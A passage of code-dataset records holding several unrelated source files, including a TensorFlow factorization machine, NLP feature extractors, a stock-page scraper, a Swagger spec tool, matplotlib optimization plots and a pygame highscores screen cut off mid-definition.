['imageset_id', 'rlp', 'experiment_id'], d.keys()\n  assert d['rlp'][:3] == [-0.5975, -0.6141, 0.4702], d['rlp'][:3]\n  assert d['imageset_id'][0] == 0\n  assert d['experiment_id'][0] == 0\n","sub_path":"test/command_line/test_export.py","file_name":"test_export.py","file_ext":"py","file_size_in_byte":5373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"129149810","text":"class Geese:\n    \"\"\"大雁类\"\"\"\n    def __init__(self,beak,wing,claw):    #构造方法\n        print(\"我是大雁类!,我有以下特征:\")\n        print(beak)   #输出喙的特征\n        print(wing)   #输出翅膀的特征\n        print(claw)   #输出爪子的特征\n\nbeak_1=\"喙的基部较高，长度和头部的长度几乎相等\"  #喙的特征\nwing_1=\"翅膀长而尖\"        #翅膀的特征\nclaw_1=\"爪子是噗状的\"      #爪子的特征\nwildGoose = Geese(beak_1,wing_1,claw_1) #创���大雁类的实例\n","sub_path":"python-7-day-Basics/7面向对象程序设计/page3.py","file_name":"page3.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"280638456","text":"#!/usr/bin/env python\nimport tensorflow as tf\n\n\nclass FMCore(object):\n    \"\"\"Factorization Machine Core\n    \"\"\"\n    def _sparse_mul(self, sp_x, w):\n        \"\"\"dense_res = sparse_x * dense_w\n        return dense matrix\n        \"\"\"\n        # this could achieve sparse gradient\n        return tf.sparse_tensor_dense_matmul(sp_x, w, name='mul_sparse')\n\n    def build_graph(self, inp_dim=None, hid_dim=8, lambda_w=0.0, lambda_v=0.0):\n        self.inp_x = tf.sparse_placeholder(dtype=tf.float32, name='input_x')\n        self.inp_y = tf.placeholder(tf.float32, [None, 1], name='input_y')\n        self.global_step = tf.Variable(0, name='global_step', trainable=False)\n        self.w0 = tf.Variable(tf.constant(0.1, shape=[1]), name='w0')\n        with tf.name_scope('1-way'):\n            self.W = tf.get_variable(\n                'W', shape=[inp_dim, 1],\n                initializer=tf.contrib.layers.xavier_initializer())\n            self.degree1 = self._sparse_mul(self.inp_x, self.W) + self.w0\n        with tf.name_scope('2-way'):\n            self.V = tf.get_variable(\n                'V', shape=[inp_dim, hid_dim],\n                initializer=tf.contrib.layers.xavier_initializer())\n            with tf.name_scope('2-way_left'):\n                self.left = tf.pow(\n                    self._sparse_mul(self.inp_x, self.V), 2)  # (bs, hid_dim)\n            with tf.name_scope('2-way_right'):\n                # use tf.square supporting sparse_pow(x, 2)\n                self.right = self._sparse_mul(\n                    tf.square(self.inp_x), tf.pow(self.V, 2))\n            self.degree2 = tf.reduce_sum(\n                tf.subtract(self.left, self.right), 1, keep_dims=True) * 0.5\n        with tf.name_scope('prediction'):\n            self.preds = self.degree1 + self.degree2\n        with tf.name_scope('loss/reg_loss'):\n            self.reg_loss = lambda_w * tf.nn.l2_loss(self.w0) + \\\n                lambda_w * tf.nn.l2_loss(self.W) + \\\n                lambda_v * tf.nn.l2_loss(self.V)\n\n        # saver and loader\n        self.saver = tf.train.Saver()\n\n        # get embedding vector\n        self.embedding = self._sparse_mul(self.inp_x, self.V)\n\n    def train_step(self, sess, inp_x, inp_y):\n        input_dict = {\n            self.inp_x: inp_x,\n            self.inp_y: inp_y}\n        train = sess.run([self.loss, self.opt], feed_dict=input_dict)\n        return train[0]\n\n    def eval_step(self, sess, inp_x, inp_y):\n        input_dict = {\n            self.inp_x: inp_x,\n            self.inp_y: inp_y}\n        return sess.run(self.loss, feed_dict=input_dict)\n\n    def _predict(self, sess, inp_x):\n        input_dict = {\n            self.inp_x: inp_x}\n        return sess.run(self.preds, feed_dict=input_dict)\n\n    def get_embedding(self, sess, inp_x):\n        input_dict = {\n            self.inp_x: inp_x}\n        return sess.run(self.embedding, feed_dict=input_dict)\n\n\nclass FMClassifier(FMCore):\n    \"\"\"Factorization Machine Classifier\n    \"\"\"\n    def __init__(self, inp_dim=None, hid_dim=16, lambda_w=0.0, lambda_v=0.0,\n                 lr=1e-4):\n        # init graph from input to predict y_hat\n        self.build_graph(inp_dim, hid_dim, lambda_w, lambda_v)\n        with tf.name_scope('loss/cross_entropy'):\n            self.loss = tf.reduce_mean(\n                tf.nn.sigmoid_cross_entropy_with_logits(\n                    labels=self.inp_y, logits=self.preds))\n        with tf.name_scope('loss/total_loss'):\n            self.total_loss = self.loss + self.reg_loss\n        self.opt = tf.train.AdamOptimizer(lr).minimize(\n            self.total_loss, global_step=self.global_step)\n\n    def predict_proba(self, sess, inp_x):\n        return self._predict(sess, inp_x)\n\n\nclass FMRegressor(FMCore):\n    \"\"\"Factorization Machine Regressor\n    \"\"\"\n    def __init__(self, inp_dim=None, hid_dim=16, lambda_w=0.0, lambda_v=0.0,\n                 lr=1e-4):\n        # init graph from input to predict y_hat\n        self.build_graph(inp_dim, hid_dim, lambda_w, lambda_v)\n        with tf.name_scope('loss/mse'):\n            self.loss = tf.reduce_mean(\n                tf.square(tf.subtract(self.inp_y, self.preds)))\n        with tf.name_scope('loss/total_loss'):\n            self.total_loss = self.loss + self.reg_loss\n        self.opt = tf.contrib.opt.LazyAdamOptimizer(lr).minimize(\n            self.total_loss, global_step=self.global_step)\n\n    def predict(self, sess, inp_x):\n        return self._predict(sess, inp_x)\n\n\nif __name__ == '__main__':\n    mdl = FMClassifier(5)\n    sess = tf.Session()\n    file_writer = tf.summary.FileWriter('./log', sess.graph)\n    sess.close()\n","sub_path":"fm1/fm.py","file_name":"fm.py","file_ext":"py","file_size_in_byte":4567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"117202124","text":"import re\nfrom relocr.featurize.feature_model import AbstractFeature\n\n\nclass HeadFeature(AbstractFeature):\n    @staticmethod\n    def get_head(sentence, start, end):\n        head = end - 1\n        for i in range(start, end):\n            pt = sentence.pos[i]\n            if pt.startswith('N'):\n                head = i\n            elif pt == 'IN' or pt == ',':\n                break\n        return head\n\n    def apply(self, mention1, mention2, features):\n        em1index = HeadFeature.get_head(mention1.sentence, mention1.start, mention1.end)\n        features.append('HEAD_EM1_%s' % mention1.sentence.lemmas[em1index])\n        em2index = HeadFeature.get_head(mention2.sentence, mention1.start, mention2.end)\n        features.append('HEAD_EM2_%s' % mention2.sentence.lemmas[em2index])\n\n\nclass EntityMentionTokenFeature(AbstractFeature):\n    def apply(self, mention1, mention2, features):\n        for i in range(mention1.start, mention1.end):\n            features.append('TKN_EM1_%s' % mention1.sentence.lemmas[i])\n        for i in range(mention2.start, mention2.end):\n            features.append('TKN_EM2_%s' % mention2.sentence.lemmas[i])\n\n\nclass BetweenEntityMentionTokenFeature(AbstractFeature):\n    def apply(self, mention1, mention2, features):\n        if not mention1.sentence == mention2.sentence:\n            return\n        sentence = mention1.sentence\n        start = mention1.end\n        end = mention2.start\n        if mention1.start > mention2.start:\n            start = mention2.end\n            end = mention1.start\n        for i in range(start, end):\n            if i == start:\n                features.append('FIRST_TKN_BTWN_%s' % sentence.lemmas[i])\n            if i == (end - 1):\n                features.append('LAST_TKN_BTWN_%s' % sentence.lemmas[i])\n            features.append('TKN_BTWN_%s' % sentence.lemmas[i])\n\n\nclass ContextFeature(AbstractFeature):\n    def __init__(self, window_size=1):\n        self.window_size = window_size\n\n    def apply(self, mention1, mention2, features):\n        sentence = mention1.sentence\n        for i in range(max(0, mention1.start - self.window_size), mention1.start):\n            features.append('CTXT_EM1_LEFT_%s' % sentence.lemmas[i])\n        for i in range(mention1.end, min(sentence.size(), mention1.end + self.window_size)):\n            features.append('CTXT_EM1_RIGHT_%s' % sentence.lemmas[i])\n        for i in range(max(0, mention2.start - self.window_size), mention2.start):\n            features.append('CTXT_EM2_LEFT_%s' % sentence.lemmas[i])\n        for i in range(mention2.end, min(sentence.size(), mention2.end + self.window_size)):\n            features.append('CTXT_EM2_RIGHT_%s' % sentence.lemmas[i])\n\n\nclass PosFeature(AbstractFeature):\n    def apply(self, mention1, mention2, features):\n        if not mention1.sentence == mention2.sentence:\n            return\n        sentence = mention1.sentence\n        start = mention1.end\n        end = mention2.start\n        if mention1.start > mention2.start:\n            start = mention2.end\n            end = mention1.start\n        for i in range(start, end):\n            features.append('POS_%s' % sentence.pos[i])\n\n\nclass DistanceFeature(AbstractFeature):\n    def apply(self, mention1, mention2, features):\n        if not mention1.sentence == mention2.sentence:\n            return\n        if mention2.start > mention1.start:\n            dist = mention2.start - mention1.end\n        elif mention2.start < mention1.start:\n            dist = mention1.start - mention2.end\n        features.append('DISTANCE_%d' % dist)\n\n\nclass EntityMentionOrderFeature(AbstractFeature):\n    def apply(self, mention1, mention2, features):\n        if not mention1.sentence == mention2.sentence:\n            return\n        if mention1.start < mention2.start:\n            features.append('EM1_BEFORE_EM2')\n        elif mention1.start > mention2.start:\n            features.append('EM2_BEFORE_EM1')\n","sub_path":"relocr/featurize/features/token_feature.py","file_name":"token_feature.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"373520999","text":"from HTMLParser import HTMLParser\nimport urllib\n\nsymbols = ['IBM', 'AAPL', 'AXP', 'BA', 'CAT', 'CSCO']\n\nclass LinksParser(HTMLParser):\n    def __init__(self):\n        HTMLParser.__init__(self)\n        self.div = 0\n        self.th = 0\n        self.td = 0\n\n    def handle_starttag(self, tag, attributes):\n        if tag not in ['div', 'th', 'td']:\n            return\n        elif tag == 'div':\n            for name, value in attributes:\n                if name == 'id' and value == 'yfi_quote_summary_data':\n                    self.div = 1\n                else:\n                    return\n        elif self.div and tag == 'th':\n            self.th = 1\n        elif self.div and tag == 'td':\n            self.td = 1\n\n    def handle_endtag(self, tag):\n        if tag == 'div' and self.div:\n            self.div = 0\n        elif tag == 'th' and self.th:\n            self.th = 0\n        elif tag == 'td' and self.td:\n            self.td = 0\n\n    def handle_data(self, data):\n        if self.th or self.td:\n            symbol_data.append(data)\n\nsymbols_data = {}\nfor symbol in symbols:\n    symbol_data = []\n    p = LinksParser()\n    f = urllib.urlopen(\"http://finance.yahoo.com/q?s=\"+symbol)\n    html = f.read()\n    p.feed(html)\n    p.close()\n    symbols_data[symbol] = symbol_data\n    print(symbols_data[symbol])\n","sub_path":"earnings_date_from_yahoo.py","file_name":"earnings_date_from_yahoo.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"31180655","text":"INPUT_PATTERN_UPPER_RIGHT_POSITION = 'Plateau:'\nINPUT_PATTERN_LANDING_POSITION = 'Landing:'\nINPUT_PATTERN_INSTRUCTION = 'Instructions:'\n\nINSTRUCTION_LEFT_TURN = 'L'\nINSTRUCTION_RIGHT_TURN = 'R'\nINSTRUCTION_MOVE = 'M'\n\n\nNORTH = 'N'\nSOUTH = 'S'\nWEST = 'W'\nEAST = 'E'","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"597164714","text":"import os\nimport typing\nfrom stringcase import camelcase, snakecase\n\nimport click\nfrom dictdiffer import diff\nfrom swagger_spec_validator import validator20, SwaggerValidationError\n\nfrom .model import SpecDir, Path, Operation, Definition, create_spec_dict\nfrom .utils import file_path_to_dict, str_to_dict\nfrom .walker import generate_definitions\n\nLINTING_CRITERIA = [\n    \"read_only: false\\n\",\n    \"read_only: true\\n\",\n    \"format: char\\n\",\n    \"format: boolean\\n\",\n    \"format: gender\\n\",\n    \"format: rpt\\n\",\n    \"format: slug\\n\",\n    \"format: choice\\n\",\n    \"format: uuid\\n\",\n    \"format: readonly\\n\",\n    \"format: list\\n\",\n]\n\n\ndef convert_file_to_specd(\n    input_file: str, output_specd: SpecDir, format: str, case: str\n):\n    input_spec = file_path_to_dict(input_file)\n    spec_dir = SpecDir(output_specd, format)\n\n    # write paths\n    write_paths(case, input_spec, spec_dir)\n\n    # write definitions\n    write_definitions(input_spec, spec_dir)\n\n    write_meta(input_spec, spec_dir)\n\n\ndef write_paths(case, input_spec, spec_dir):\n    for (url, path_spec) in input_spec.pop(\"paths\", {}).items():\n        path = Path(spec_dir=spec_dir, url=url)\n        for (method, operation_spec) in path_spec.items():\n            operation_spec[\"operationId\"] = (\n                operation_spec[\"operationId\"].replace(\"-\", \"\").replace(\":\", \"\")\n            )\n            if case == \"snake\":\n                operation_spec[\"operationId\"] = snakecase(\n                    operation_spec[\"operationId\"]\n                )\n            else:\n                operation_spec[\"operationId\"] = camelcase(\n                    operation_spec[\"operationId\"]\n                )\n            operation = Operation(spec_dir=spec_dir, path=path, method=method)\n            if operation.exists():\n                click.echo(f\"Operation exists, merging: {path} / {method}\")\n                operation.merge(operation_spec)\n            else:\n                operation.write(operation_spec)\n\n\ndef write_definitions(input_spec, spec_dir):\n    for (name, def_spec) in input_spec.pop(\"definitions\", {}).items():\n        definition = Definition(spec_dir=spec_dir, name=name)\n\n        if definition.exists():\n            click.echo(f\"Definition exists, merge: {name}\")\n            definition.merge(def_spec)\n        else:\n            definition.write(def_spec)\n\n\ndef write_meta(input_spec, spec_dir):\n    # write meta (e.g. not paths or definitions)\n    if spec_dir.meta.exists():\n        click.echo(f\"Meta found found, skipping.\")\n    else:\n        spec_dir.meta.write(input_spec)\n\n\ndef guess_format(output_file):\n    return os.path.splitext(output_file)[-1][1:] if output_file else \"json\"\n\n\ndef convert_specd_to_file(\n    input_dir: str,\n    output_file: str,\n    targets: typing.List[str] = None,\n    format: str = None,\n):\n    spec_dir = SpecDir(input_dir)\n    assert spec_dir.exists(), f\"Specd not found: {input_dir}\"\n\n    format = format or guess_format(output_file)\n    spec_str = spec_dir.as_str(format, targets)\n\n    if output_file:\n        file_handler = open(output_file, \"w+\")\n        file_handler.write(spec_str)\n        file_handler.close()\n    else:\n        click.echo(spec_str)  # pragma: no cover\n\n\ndef validate_specd(input_dir: str) -> str:\n    error_message = None\n\n    try:\n        spec_dir = SpecDir(input_dir)\n\n        if spec_dir.exists():\n            validator20.validate_spec(spec_dir.as_dict())\n        else:\n            error_message = f\"Not in a valid specd root directory: {input_dir}\"\n\n    except SwaggerValidationError as e:\n        error_message = e.args[0].split(\"\\n\")[0]\n\n    return error_message\n\n\ndef get_spec_dict(item: str) -> dict:\n    if os.path.isfile(item):\n        spec_dict = file_path_to_dict(item)\n    else:\n        spec_dict = create_spec_dict(item)\n\n    return spec_dict\n\n\ndef get_dict_paths(d: dict):\n    for defn in d.get(\"definitions\", {}):\n        yield (\"definitions\", defn)\n\n    for url, spec in d.get(\"paths\", {}).items():\n        for operation in spec:\n            yield (\"paths\", url, operation)\n\n\ndef resolve(d: dict, keys):\n    for key in keys:\n        d = d[key]\n    return d\n\n\ndef diff_specifications(one, two):\n    one = get_spec_dict(one)\n    two = get_spec_dict(two)\n\n    overlaps = set(get_dict_paths(one)).intersection(set(get_dict_paths(two)))\n\n    diffs = {}\n    for keys in overlaps:\n        delta = list(diff(resolve(one, keys), resolve(two, keys)))\n        diffs[keys] = delta\n\n    return diffs\n\n\ndef list_specd(input_dir: str):\n    spec_dir = SpecDir(input_dir)\n    assert spec_dir.exists(), f\"Specd not found: {input_dir}\"\n\n    collect = []\n    defns = sorted([f\"\\t\\t{d.name}\" for d in spec_dir.definitions()])\n    if defns:\n        collect += [\"\\n\\tDefinitions:\\n\"] + defns\n\n    paths = sorted([f\"\\t\\t{p.url}: {p.methods}\" for p in spec_dir.paths()])\n    if paths:\n        collect += [\"\\n\\tPaths:\\n\"] + paths\n    return collect\n\n\ndef create_definitions(input_dir: str, name: str, input_data: str):\n    spec_dir = SpecDir(input_dir)\n    assert spec_dir.exists(), f\"Specd not found: {input_dir}\"\n\n    data_dict = str_to_dict(input_data)\n    definitions = []\n    for definition in generate_definitions(name, data_dict):\n        print(f\"Writing Definition: {definition.name}\")\n        defn = Definition(spec_dir=spec_dir, name=definition.name)\n        defn.write(definition.properties)\n        definitions.append(defn)\n    return definitions\n\n\ndef create_specd(input_dir: str):\n    spec_dir = SpecDir(input_dir)\n    spec_dir.meta.write({})\n    return spec_dir\n\n\ndef auto_linting(input_dir: str):\n    spec_dir = SpecDir(input_dir)\n    assert spec_dir.exists(), f\"Specd not found: {input_dir}\"\n\n    # Iterates through each definition and removes lines that are unwanted\n    lint_definitions(input_dir)\n\n    # Does the same for all path files\n    lint_paths(input_dir)\n\n\ndef lint_paths(input_dir):\n    for dir_name, sub_dir, f_list in os.walk(input_dir + \"/paths\"):\n        for fp in f_list:\n            with open(dir_name + \"/\" + fp, \"r\") as origin, open(\n                dir_name + \"/temp.yaml\", \"w+\"\n            ) as updated:\n                for line in origin:\n                    stripped = line.strip(\" \")\n                    if stripped not in LINTING_CRITERIA:\n                        updated.write(line)\n\n                origin.close()\n                updated.close()\n            os.replace(updated.name, origin.name)\n\n\ndef lint_definitions(input_dir):\n    for fp in os.listdir(input_dir + \"/definitions\"):\n        with open(input_dir + \"/definitions/\" + fp, \"r\") as origin, open(\n            input_dir + \"/definitions/temp.yaml\", \"w+\"\n        ) as updated:\n            for line in origin:\n                stripped = line.strip(\" \")\n                if stripped not in LINTING_CRITERIA:\n                    updated.write(line)\n\n            origin.close()\n            updated.close()\n        os.replace(updated.name, origin.name)\n","sub_path":"src/specd/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":6866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"70300249","text":"# カウントリストを取得\n#coding:UTF-8\nimport requests\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import urljoin\nimport sqlite3\nfrom contextlib import closing\nimport schedule\nimport time\nimport datetime\nimport re\n\ndef calculate():\n    dbname = 'Nogizaka_matome_ar.db'\n    with closing(sqlite3.connect(dbname)) as conn:\n        c = conn.cursor()\n        select_sql='select name from member_tbl'\n        member_list=[] #['秋元真夏','生田絵梨花'...]\n        #メンバーの名前を取得\n        for member_name in c.execute(select_sql):\n            member_list.append(member_name[0])\n        count_list=[]\n        for member in member_list:\n            select_sql = \"select title,tags from ar_tbl where tags like '%'||?||'%' and datetime('now', '-4 days','9 hours') < time and datetime('now', '-1 days','9 hours') > time\"\n            c.execute(select_sql, [member])\n            ar_list = c.fetchall()\n            count3=len(ar_list)\n            count_time=\"2019-03-25\"\n            count_list.append([member,count_time,count3])\n        upsert_sql = 'replace into count_tbl values (?,?,?)'\n        c.executemany(upsert_sql, count_list)\n        conn.commit()\n        print('集計データを更新しました' + str(datetime.datetime.now()))\n\ncalculate()","sub_path":"nogizaka_count_col_rinzi.py","file_name":"nogizaka_count_col_rinzi.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"597303758","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 21 19:18:23 2017\n\nWhen I use the term func2D_inpVec, I mean a function that has 2 inputs, hence 2D,\nand both those inputs can be vectors, hence inpVec\n\n\"\"\"\n\nfrom IPython import get_ipython\nget_ipython().magic('reset -sf')\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import axes3d\nplt.close('all')\n\nfrom _1_input_create2Dfunctions import *\n\n\n################################################\n# 1. INPUTS\n################################################\nx_min, x_max, x_step            =   -10, 10, .5\ny_min, y_max, y_step            =   -10, 10, .5\n\nx_N                             =   np.arange(x_min, x_max, x_step) \ny_M                             =   np.arange(y_min, y_max, y_step) \ninp_x_N_y_M                     =   [x_N, y_M]\n################################################\n# 2. ALGORITHMS\n################################################\nfunc2D_inpVec                   =   func2D_inpVec_quadratic  \nfunc2D_inpVec_analyticGradient  =   func2D_inpVec_quadratic_analyticalGradient\nparams                          =   np.array([5,1]) \n\n#func2D_inpVec                   =   func2D_inpVec_sin   \n#func2D_inpVec_gradient          =   func2D_inpVec_sin_analyticalGradient\n\n#func2D_inpVec                   =   func2D_inpVec_Rosenbrock   \n#func2D_inpVec_analyticGradient  =   func2D_inpVec_Rosenbrock_analyticalGradient\n#params                          =   np.array([1,100])\n\n#func2D_inpVec                   =   func2D_inpVec_funny   \n#func2D_inpVec_analyticGradient  =   func2D_inpVec_funny_analyticalGradient\n\n\n\n################################################\n# 3. PLOTS\n################################################\n#note, change the four 111's to 221, 222, 223, 224 if you want these 4 plots as a subplot.  No other change needed.\n#========================\n#Plot#1: 3D surface\n#========================\nfig1                            =   plt.figure                  () \nx_1xN, y_Mx1, z_MxN             =   create_3D_surface_vectorized(inp_x_N_y_M, params, func2D_inpVec)#!!!Notice: no looping!!!\nax1                             =   fig1.add_subplot            (111, projection='3d', elev=35, azim=265)\nsurf                            =   ax1.plot_surface            (x_1xN, y_Mx1, z_MxN, alpha=.7, cmap=plt.cm.jet)\ntemp                            =   fig1.colorbar               (surf, shrink=0.8, aspect=15)\ntemp                            =   plt.axis                    ('equal')\ntemp                            =   ax1.set_title               ('3D surface')\ntemp                            =   ax1.set_xlabel              ('$x$-axis')\ntemp                            =   ax1.set_ylabel              ('$y$-axis')\ntemp                            =   ax1.set_zlabel              ('$z$-axis')\n\n\n\n#========================\n#Plot#2: 3D points (scatter)\n#========================\nx_MxN, y_MxN, z_MxN             =   create_3D_surface_looping   (inp_x_N_y_M, params, func2D_inpVec)\nfig2                            =   plt.figure                  () \nax2                             =   fig2.add_subplot            (111, projection='3d', elev=35, azim=265)\nscatter                         =   ax2.scatter                 (x_MxN.flatten(), y_MxN.flatten(), z_MxN.flatten(), c = z_MxN.flatten(), cmap=plt.cm.jet)\ntemp                            =   fig2.colorbar               (scatter, shrink=0.8, aspect=15)\ntemp                            =   plt.axis                    ('equal')\ntemp                            =   ax2.set_title               ('3D points')\ntemp                            =   ax2.set_xlabel              ('$x$-axis')\ntemp                            =   ax2.set_ylabel              ('$y$-axis')\ntemp                            =   ax2.set_zlabel              ('$z$-axis')\n\n\n\n#========================\n#Plot#3: 3D lines (path)\n#========================\nfig3                            =   plt.figure                  () \nax3                             =   fig3.add_subplot            (111, projection='3d', elev=35, azim=265)\nline                            =   ax3.plot                    (x_MxN.flatten(), y_MxN.flatten(), z_MxN.flatten())\ntemp                            =   plt.axis                    ('equal')\ntemp                            =   ax3.set_title               ('3D lines')\ntemp                            =   ax3.set_xlabel              ('$x$-axis')\ntemp                            =   ax3.set_ylabel              ('$y$-axis')\ntemp                            =   ax3.set_zlabel              ('$z$-axis')\n\n\n\n\n#========================\n#Plot#4: 2D contour, analytical gradient and autograd-library generated gradient\n#========================\n#contour\nfig4                            =   plt.figure                              () \nax4                             =   fig4.add_subplot                        (111)\nim                              =   plt.imshow                              (z_MxN, interpolation='bilinear', origin='lower', cmap=plt.cm.jet, extent=(x_min, x_max, y_min, y_max))\ntemp                            =   plt.colorbar                            (im, orientation='vertical', shrink=0.8)\npltContour                      =   plt.contour                             (x_MxN, y_MxN, z_MxN) \ntemp                            =   plt.clabel                              (pltContour, inline=1, fontsize=10)\n\n#analytical gradient (looping)\nx_MxN,y_MxN,dz_dx_MxN,dz_dy_MxN =   create_3D_analyticalGradient_looping    (inp_x_N_y_M, params, func2D_inpVec_analyticGradient)\nn                               =   1\ntemp                            =   plt.scatter                             (x_MxN[::n, ::n], y_MxN[::n, ::n], s=2, color='w') #little dots from where the gradient arrows originate\nanalyticalGradient_looping      =   plt.quiver                              (x_MxN[::n, ::n], y_MxN[::n, ::n], dz_dx_MxN[::n, ::n], dz_dy_MxN[::n, ::n], color='r')\n\n#analytical gradient (vectorized)\nx_1xN, y_Mx1,dz_dx_MxN,dz_dy_MxN=   create_3D_analyticalGradient_vectorized (inp_x_N_y_M, params, func2D_inpVec_analyticGradient)\nn                               =   1\ntemp                            =   plt.scatter                             (x_MxN[::n, ::n], y_MxN[::n, ::n], s=2, color='w') #little dots from where the gradient arrows originate\nanalyticalGradient_vectorized   =   plt.quiver                              (x_MxN[::n, ::n], y_MxN[::n, ::n], dz_dx_MxN[::n, ::n], dz_dy_MxN[::n, ::n], color='w')\n\n#autograd gradient (looping) \nx_MxN, y_MxN, dz_dx_MxN, dz_dy_MxN =   create_3D_autogradGradient_looping   (inp_x_N_y_M, params, func2D_inpVec) #!!!notice that you pass the function, not the gradient!!!\nn                               =   1\nautogradGradient_looping        =   plt.quiver                              (x_MxN[::n, ::n], y_MxN[::n, ::n], x_MxN[::n, ::n]-dz_dx_MxN[::n, ::n], y_MxN[::n, ::n]-dz_dy_MxN[::n, ::n], alpha=1, color='b', width=0.0025)        \n\n#autograd gradient (vectorized) \ninp_MxN                        =   [x_MxN, y_MxN]\nx_MxN,y_MxN,dz_dx_MxN,dz_dy_MxN =   create_3D_autogradGradient_vectorized   (inp_MxN, params, func2D_inpVec) #!!!notice that you pass the function, not the gradient!!!\nn                               =   1\nautogradGradient_vectorized     =   plt.quiver                              (x_MxN[::n, ::n], y_MxN[::n, ::n], x_MxN[::n, ::n]-dz_dx_MxN[::n, ::n], y_MxN[::n, ::n]-dz_dy_MxN[::n, ::n], alpha=1, color='y', width=0.0025)        \n\ntemp                            =   plt.axis                                ('equal')\ntemp                            =   ax4.set_title                           ('Contour, analytical gradient and autograd-library generated gradient')\ntemp                            =   ax4.set_xlabel                          ('$x$-axis')\ntemp                            =   ax4.set_ylabel                          ('$y$-axis')\ntemp                            =   plt.legend                              ([analyticalGradient_looping, analyticalGradient_vectorized, autogradGradient_looping, autogradGradient_vectorized],['Analytical gradient (looping)', 'Analytical gradient (vectorized)', 'Autograd-library gradient (looping)', 'Autograd-library gradient (vectorized)'], loc='upper right')\n\n\n\n################################################\n# 4. OPTIMIZATION\n################################################\nfrom _2_optimize_Deterministic_Continuous_Unconstrained import *\nx0                              =   np.array([7., 7.]) # Initial guess    \nres, path_                      =   func_optimize_Deterministic_Continuous_Unconstrained(x0, [func2D_inpVec,     func2D_inpVec_analyticGradient], params)\nminima                          =   np.array([res.x[0], res.x[1]])\nminima_                         =   minima.reshape(-1, 1)\npath                            =   np.array(path_).T\n    \nstartingpt                      =   np.array([x0[0], x0[1]])   \nstartingpt_                     =   startingpt.reshape(-1, 1)\n\n#3D optimization path\noptimpath                       =   [path[0], path[1]]\nz_K                             =   create_3D_points                    (optimpath, params, func2D_inpVec)\nline                            =   ax1.plot                            (path[0], path[1], z_K, color='r', linewidth=2)\n#3D starting and optimal points\ntemp                            =   ax1.plot                            (*startingpt_, func2D_inpVec([startingpt_[0], startingpt_[1]], params), 'ro', markersize=5) #this line is the same as temp = ax.plot(startingpt_[0], startingpt_[1], func2D_inpVec([startingpt_[0], startingpt_[1]], params), 'ro', markersize=5)\ntemp                            =   ax1.plot                            (np.array([res.x[0]]), np.array([res.x[1]]), func2D_inpVec([res.x[0], res.x[1]], params), 'r*', markersize=5)\n#2D optimization path\nline                            =   ax4.plot                            (path[0], path[1], color='r', linewidth=2)\n#2D starting and optimal points\ntemp                            =   ax4.plot                            (startingpt_[0], startingpt_[1], 'ro', markersize=5)\ntemp                            =   ax4.plot                            (np.array([res.x[0]]), np.array([res.x[1]]), 'r*', markersize=5)\n\n#OptimVis_step1_static.OptimVis_step1_static    (x_MxN, y_MxN, z_2D, f, x_min, x_max, y_min, y_max, startingpt, startingpt_, minima, minima_, path)\n#OptimVis_step2_animate.OptimVis_step2_animate  (x, y, z, f, x_min, x_max, y_min, y_max, minima_, path)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"513784990","text":"import pygame\nimport os\nfrom ..Database.Database import Database\n\n\nclass Highscores:\n    text_block_counter = 0\n\n    titles = [\n        'Terug'\n    ]\n\n    def __init__(self, screen, textDrawer):\n        self.screen = screen\n        self.textDrawer = textDrawer\n        self.db = Database()\n        self.items = []\n\n    def draw(self):\n        title_offset_x = self.textDrawer.base_offset_x - 200\n        title_offset_y = self.textDrawer.base_offset_y\n\n        text_block_offset_x = self.textDrawer.base_offset_x + 100\n        text_block_offset_y = self.textDrawer.base_offset_y\n\n        base_cursor_y = self.textDrawer.base_offset_y - 4\n\n        self.textDrawer.draw_header('Highscores', 'header', 'white')\n\n        # Draw the titles\n        for line in self.titles:\n            self.textDrawer.draw_line(\n                line, 'default', 'white', title_offset_x, title_offset_y)\n            title_offset_y += 60\n\n        self.textDrawer.draw_line('>', 'default', 'white', title_offset_x - 30,\n                                  base_cursor_y)\n\n        self.items = self.db.get_highscores()\n        if len(self.items) > 0:\n            for i in range(self.text_block_counter, self.get_end_block()):\n                each = self.items[i]\n                self.textDrawer.draw_block('#' + str(i + 1) + ': ' + each.name + ' - ' + str(each.highscores[0].score),\n                                           'default', 'white', text_block_offset_x, text_block_offset_y)\n                text_block_offset_y += 60\n            self.draw_arrow()\n        else:\n            self.textDrawer.draw_block('Er zijn nog', 'default', 'white',\n                                       text_block_offset_x, text_block_offset_y)\n            self.textDrawer.draw_block('geen highscores.', 'default', 'white',\n                                       text_block_offset_x, text_block_offset_y + 30)\n\n    def draw_arrow(self):\n        if self.text_block_counter + 5 < len(self.items):\n            self.screen.blit(pygame.transform.scale(pygame.image.load(os.path.join('assets', 'directions',\n                                                                                   'down-white.png')),\n                                                    (50, 50)), (self.textDrawer.base_offset_x + 400,\n                                                                self.textDrawer.base_offset_y + 210))\n        if self.text_block_counter > 0:\n            self.screen.blit(pygame.transform.scale(pygame.image.load(os.path.join('assets', 'directions',\n                                                                                   'up-white.png')),\n                                                    (50, 50)), (self.textDrawer.base_offset_x + 400,\n                                                                self.textDrawer.base_offset_y))\n\n    def get_current_title(self):\n        return self.titles[0]\n\n    def 